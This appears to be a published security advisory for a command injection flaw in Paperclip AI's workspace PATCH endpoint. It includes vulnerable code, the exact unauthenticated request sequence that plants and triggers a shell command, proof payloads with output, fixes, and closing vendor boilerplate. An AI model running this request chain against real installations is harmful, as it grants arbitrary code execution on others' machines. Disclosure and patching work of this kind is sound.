| Field | Value |
|-------|-------|
| Affected Software | Paperclip AI v2026.403.0 |
| Affected Component | Execution Workspace lifecycle (workspace-runtime.ts) |
| Affected Endpoint | PATCH /api/execution-workspaces/:id |
| Deployment Modes | All — local_trusted (zero auth), authenticated (any company user) |
| Platforms | Linux, macOS, Windows (with Git installed) |
| Date | 2026-04-13 |
A critical OS command injection vulnerability exists in Paperclip's execution workspace lifecycle. An attacker can inject arbitrary shell commands into the cleanupCommand field via the PATCH /api/execution-workspaces/:id endpoint. When the workspace is archived, the server executes this command verbatim via child_process.spawn(shell, ["-c", cleanupCommand]) with no input validation or sanitization. In local_trusted mode (the default for desktop installations), this requires zero authentication.
Three independent proofs of exploitation were demonstrated on Windows 11: arbitrary file write, full system information exfiltration (systeminfo), and GUI application launch (calc.exe).
server/src/services/workspace-runtime.ts (line ~738)
The cleanupExecutionWorkspaceArtifacts() function iterates over cleanup commands from workspace config and executes each via shell:
// workspace-runtime.ts — cleanupExecutionWorkspaceArtifacts()
for (const command of cleanupCommands) {
await recordWorkspaceCommandOperation(ws, command, ...);
}
// recordWorkspaceCommandOperation() →
const shell = resolveShell(); // process.env.SHELL || "sh"
spawn(shell, ["-c", command]);
server/src/routes/execution-workspaces.ts — PATCH handler
The PATCH endpoint accepts a config object containing cleanupCommand with no validation:
PATCH /api/execution-workspaces/:id
Body: { "config": { "cleanupCommand": "<ARBITRARY_COMMAND>" } }
The cleanupCommand value is stored directly in workspace metadata and later passed to spawn() without sanitization, allowlisting, or escaping.
resolveShell() returns process.env.SHELL or falls back to "sh":
/bin/sh exists natively — commands execute immediatelysh.exe is available via Git for Windows (C:\Program Files\Git\bin\sh.exe) — Paperclip requires Git, so sh is present on most installationsThe exploit requires 5 HTTP requests with zero authentication in local_trusted mode:
GET /api/companies HTTP/1.1
Host: 127.0.0.1:3100
[{"id": "59e9248b-...", "name": "Hello", ...}]
GET /api/companies/59e9248b-.../execution-workspaces HTTP/1.1
Host: 127.0.0.1:3100
[{"id": "da078b2d-...", "name": "HEL-1", "status": "active", ...}]
PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1
Host: 127.0.0.1:3100
Content-Type: application/json
{"status": "active"}
PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1
Host: 127.0.0.1:3100
Content-Type: application/json
{"config": {"cleanupCommand": "echo RCE_PROOF > \"/tmp/rce-proof.txt\""}}
Response confirms storage:
{"id": "da078b2d-...", "config": {"cleanupCommand": "echo RCE_PROOF > \"/tmp/rce-proof.txt\""}, ...}
PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1
Host: 127.0.0.1:3100
Content-Type: application/json
{"status": "archived"}
This triggers cleanupExecutionWorkspaceArtifacts() which calls:
spawn(shell, ["-c", "echo RCE_PROOF > \"/tmp/rce-proof.txt\""])
The injected command is executed with the privileges of the Paperclip server process.
local_trusted Mode (Default Desktop Install)Every HTTP request is auto-granted full admin privileges with zero authentication:
// middleware/auth.ts
req.actor = {
type: "board",
userId: "local-board",
isInstanceAdmin: true,
source: "local_implicit"
};
The boardMutationGuard middleware is also bypassed:
// middleware/board-mutation-guard.ts (line 55)
if (req.actor.source === "local_implicit" || req.actor.source === "board_key") {
next();
return;
}
authenticated ModeAny user with company access can exploit this vulnerability. The assertCompanyAccess check occurs AFTER the database query (BOLA/IDOR pattern), and no additional authorization is required to modify workspace config fields.
All proofs executed via the automated PoC script poc_paperclip_rce.py.
Payload: echo RCE_PROOF_595c04f7 > "%TEMP%\rce-proof-595c04f7.txt"
Result:
+================================================+
| VULNERABLE - Arbitrary Code Execution! |
| cleanupCommand was executed on the server |
+================================================+
Proof file: %TEMP%\rce-proof-595c04f7.txt
Content: RCE_PROOF_595c04f7
Platform: Windows 11
Payload: systeminfo > "%TEMP%\rce-sysinfo-595c04f7.txt"
Result:
+================================================+
| System command output captured! |
+================================================+
Host Name: [REDACTED]
OS Name: Microsoft Windows 11 Home
OS Version: 10.0.26200 N/A Build 26200
OS Manufacturer: Microsoft Corporation
Registered Owner: [REDACTED]
Product ID: [REDACTED]
System Manufacturer: [REDACTED]
System Model: [REDACTED]
System Type: x64-based PC
... (72 total lines of system information)
Payload: calc.exe
Result:
+================================================+
| calc.exe launched! Check your taskbar. |
| This is server-side code execution. |
+================================================+
Windows Calculator was launched on the host system by the Paperclip server process.
| Impact | Description | |--------|-------------| | Remote Code Execution | Arbitrary commands execute as the Paperclip server process | | Data Exfiltration | Full system info, environment variables, files readable by server process | | Lateral Movement | Attacker can install tools, pivot to internal network | | Supply Chain | Workspaces contain source code — attacker can inject backdoors into repositories | | Persistence | Attacker can create scheduled tasks, install reverse shells | | Privilege Escalation | Server may run with elevated privileges; attacker inherits them |
127.0.0.1:3100 can achieve RCE with zero authenticationInput validation: Reject or sanitize cleanupCommand and teardownCommand fields in the PATCH handler. Do not allow user-supplied values to be passed to shell execution.
Command allowlisting: If custom cleanup commands are needed, implement a strict allowlist of permitted commands (e.g., git clean, rm -rf <workspace_dir>).
Use execFile instead of spawn with shell: Replace spawn(shell, ["-c", command]) with execFile() using an argument array, which prevents shell metacharacter injection.
Authorization check: Add proper authorization checks BEFORE processing the PATCH request. Validate that the user has explicit permission to modify workspace configuration.
Separate config fields: Do not allow the same endpoint to update both workspace status and security-sensitive configuration fields like commands.
Sandboxed execution: Run cleanup commands in a sandboxed environment (container, VM) with minimal privileges.
Audit logging: Log all modifications to command fields for forensic analysis.
Security review: Audit all spawn, exec, and execFile calls across the codebase for similar injection patterns.
The full automated PoC is available as poc_paperclip_rce.py. It:
local_trustedsh.exe from Git and restarts Paperclip if neededUsage:
python poc_paperclip_rce.py --target http://127.0.0.1:3100
| Software | From | Fixed in |
|---|---|---|
@paperclipai / server
|
- | 2026.416.0 |
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.